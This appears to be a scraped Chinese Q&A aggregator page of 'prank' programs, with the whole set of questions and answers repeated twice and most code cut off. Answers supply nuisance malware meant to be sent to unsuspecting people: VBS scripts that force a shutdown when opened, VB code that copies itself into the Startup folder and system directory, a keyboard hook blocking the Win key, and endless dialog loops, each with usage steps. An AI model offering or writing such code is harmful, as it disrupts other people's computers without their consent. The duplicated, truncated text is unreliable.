简单恶搞编程代码可复制
@赏泳4391:卒恶搞的代码 -
欧匡13827088084…… 把以下代码复制到记事本中,然后把扩展名改为.vbs运行即可. On Error Resume Next Dim WSHshellA Set WSHshellA = wscript.CreateObject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪,不喊就马上让你...
@赏泳4391:vb恶作剧代码 -
欧匡13827088084…… s2 = "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\" & App.EXEName & ".exe" 把Administrator改成all users Shell "Shutdown.exe -s -t 0"改成Shell "Shutdown.exe -s -t 0 -f" If Format(Now, "yyyy/mm/dd") = "20100402" Then 改成 If val(Format(Now, "yyyy/mm/dd"))>= 20100402 Then 错误70是权限错误,不知道你为何遇到
@赏泳4391:我现在手里的几个用C语言写的恶搞代码,我想问一下那个怎么用?复制到什么里面?文件后缀是什么? -
欧匡13827088084…… #include<stdio.h> void daoxu(int n); void main() { int n; do { printf("Input n:\n"); scanf("%d",&n); }while(n>99999); daoxu(n); } void daoxu(int n) { int a,i=0,count=0; int b[10]; while(n!=0) { a=n%10; n=n/10; count++; b[i]=a; i++; printf("%...
@赏泳4391:谁能给我个简单的编程代码啊!就是想发给别人,别人打开后能关机的程序,只是想弄着玩玩,求黑客大师啊! -
欧匡13827088084…… 你好! 复制代码: dim s set s=createobject("wscript.shell") s.run"shutdown -s -f -t 60" 到记事本,把后缀改为.vbs 然后你一双击他就在一分钟后关机 ”-t“后的可改就是关机秒数 望采纳谢谢!
@赏泳4391:VB写恶搞程序
欧匡13827088084…… 嘿嘿 你自己改改就可以用啦 有问题再CALL我 新建一个工程,把下面的代码复制过去就行了,亲测可以用哦~ Private Sub Form_Load() Dim i As Integer Dim Str As String Me.Caption = "XXX XX BY-编程小虾" i = 0 Do While Str <> "我爱你" ...
@赏泳4391:求易语言整人代码,不要太狠的!!!! -
欧匡13827088084…… .版本 2.支持库 iext.支持库 shell.支持库 eAPI.程序集 窗口程序集1.子程序 _时钟1_周期事件进度条1.位置 = 进度条1.位置 + 1.如果真 (进度条1.位置 = 10) 透明标签2.标
@赏泳4391:跪求恶搞编程? -
欧匡13827088084…… 1楼这是禁止win键代码 Option Explicit Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Public ...
@赏泳4391:VB写恶搞程序
欧匡13827088084…… 写个死循环不断地弹对话框~~ 囧....写代码写的我也被恶搞了... 最简单的代码如下 for i = 1 to 10000 x=msgbox("",,"hello") next i
@赏泳4391:求恶作剧代码,越多越好,说明后果,还有要用什么后缀名, -
欧匡13827088084…… 看看这段行不? Dim f As String '定义一个字符串变量f = App.Path & "\" & App.EXEName & ".exe" '将自身程序的文件路径和名称保存到字符串中d = "C:\WINDOWS\SYSTEM\WINDY.exe" '定义一个字符串,值为系统路径下的一个程...
@赏泳4391:求高手帮我写段恶作剧的VBS代码! -
欧匡13827088084…… do until inputbox("","")="123" msgbox "密码错误" loop 把下面的内容存为批处理文件 @echo off set n=0 :loop echo msgbox "你好!">%n%.vbs echo createobject^("scripting.filesystemobject"^).deletefile wscript.scriptname>>%n%.vbs start %n%.vbs set /a n+=1 if %n%==10 exit goto :loop
欧匡13827088084…… 把以下代码复制到记事本中,然后把扩展名改为.vbs运行即可. On Error Resume Next Dim WSHshellA Set WSHshellA = wscript.CreateObject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪,不喊就马上让你...
@赏泳4391:vb恶作剧代码 -
欧匡13827088084…… s2 = "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\" & App.EXEName & ".exe" 把Administrator改成all users Shell "Shutdown.exe -s -t 0"改成Shell "Shutdown.exe -s -t 0 -f" If Format(Now, "yyyy/mm/dd") = "20100402" Then 改成 If val(Format(Now, "yyyy/mm/dd"))>= 20100402 Then 错误70是权限错误,不知道你为何遇到
@赏泳4391:我现在手里的几个用C语言写的恶搞代码,我想问一下那个怎么用?复制到什么里面?文件后缀是什么? -
欧匡13827088084…… #include<stdio.h> void daoxu(int n); void main() { int n; do { printf("Input n:\n"); scanf("%d",&n); }while(n>99999); daoxu(n); } void daoxu(int n) { int a,i=0,count=0; int b[10]; while(n!=0) { a=n%10; n=n/10; count++; b[i]=a; i++; printf("%...
@赏泳4391:谁能给我个简单的编程代码啊!就是想发给别人,别人打开后能关机的程序,只是想弄着玩玩,求黑客大师啊! -
欧匡13827088084…… 你好! 复制代码: dim s set s=createobject("wscript.shell") s.run"shutdown -s -f -t 60" 到记事本,把后缀改为.vbs 然后你一双击他就在一分钟后关机 ”-t“后的可改就是关机秒数 望采纳谢谢!
@赏泳4391:VB写恶搞程序
欧匡13827088084…… 嘿嘿 你自己改改就可以用啦 有问题再CALL我 新建一个工程,把下面的代码复制过去就行了,亲测可以用哦~ Private Sub Form_Load() Dim i As Integer Dim Str As String Me.Caption = "XXX XX BY-编程小虾" i = 0 Do While Str <> "我爱你" ...
@赏泳4391:求易语言整人代码,不要太狠的!!!! -
欧匡13827088084…… .版本 2.支持库 iext.支持库 shell.支持库 eAPI.程序集 窗口程序集1.子程序 _时钟1_周期事件进度条1.位置 = 进度条1.位置 + 1.如果真 (进度条1.位置 = 10) 透明标签2.标
@赏泳4391:跪求恶搞编程? -
欧匡13827088084…… 1楼这是禁止win键代码 Option Explicit Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Public ...
@赏泳4391:VB写恶搞程序
欧匡13827088084…… 写个死循环不断地弹对话框~~ 囧....写代码写的我也被恶搞了... 最简单的代码如下 for i = 1 to 10000 x=msgbox("",,"hello") next i
@赏泳4391:求恶作剧代码,越多越好,说明后果,还有要用什么后缀名, -
欧匡13827088084…… 看看这段行不? Dim f As String '定义一个字符串变量f = App.Path & "\" & App.EXEName & ".exe" '将自身程序的文件路径和名称保存到字符串中d = "C:\WINDOWS\SYSTEM\WINDY.exe" '定义一个字符串,值为系统路径下的一个程...
@赏泳4391:求高手帮我写段恶作剧的VBS代码! -
欧匡13827088084…… do until inputbox("","")="123" msgbox "密码错误" loop 把下面的内容存为批处理文件 @echo off set n=0 :loop echo msgbox "你好!">%n%.vbs echo createobject^("scripting.filesystemobject"^).deletefile wscript.scriptname>>%n%.vbs start %n%.vbs set /a n+=1 if %n%==10 exit goto :loop